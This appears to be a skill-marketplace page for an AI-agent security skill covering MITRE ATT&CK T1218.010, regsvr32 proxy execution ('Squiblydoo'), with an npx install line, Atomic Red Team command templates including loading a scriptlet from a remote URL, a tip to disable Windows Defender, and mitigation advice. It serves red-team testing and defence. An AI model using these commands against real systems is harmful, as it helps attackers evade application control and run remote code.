用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1218-010-regsvr32命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
基于 SOC 职业分类
正在显示 SKILL.md
| name | T1218.010_regsvr32 |
| description | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. |
| category | configuration |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1218.010","defense-evasion","windows","sub-technique"] |
| technique_id | T1218.010 |
| tactic | defense-evasion |
| all_tactics | ["defense-evasion"] |
| platforms | ["Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1218/010 |
| tech_stack | ["windows"] |
| cwe_ids | ["CWE-693"] |
| chains_with | ["T1218","T1218.001","T1218.002","T1218.003","T1218.004","T1218.005","T1218.007","T1218.008","T1218.009","T1218.011","T1218.012","T1218.013","T1218.014","T1218.015"] |
| prerequisites | ["T1218"] |
| severity_boost | {"T1218":"Chain with T1218 for deeper attack path","T1218.001":"Chain with T1218.001 for deeper attack path","T1218.002":"Chain with T1218.002 for deeper attack path"} |
Sub-technique of: T1218
Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments.
Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
Supported Platforms: windows
#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll
Dependencies:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.
Supported Platforms: windows
#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.
Supported Platforms: windows
IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )
Dependencies:
Replicating observed Gozi maldoc behavior registering a dll with an altered extension
Supported Platforms: windows
#{regsvr32path}\#{regsvr32name} /s #{dll_file}
Dependencies:
Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.
Supported Platforms: windows
#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Regsvr32 by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1218.010 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass application control. Identify and block potentially malicious software executed through regsvr32 functionality by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.
| Finding | Severity | Impact |
|---|---|---|
| Regsvr32 technique applicable | High | Defense Evasion |
| CWE ID | Title |
|---|---|
| CWE-693 | Protection Mechanism Failure |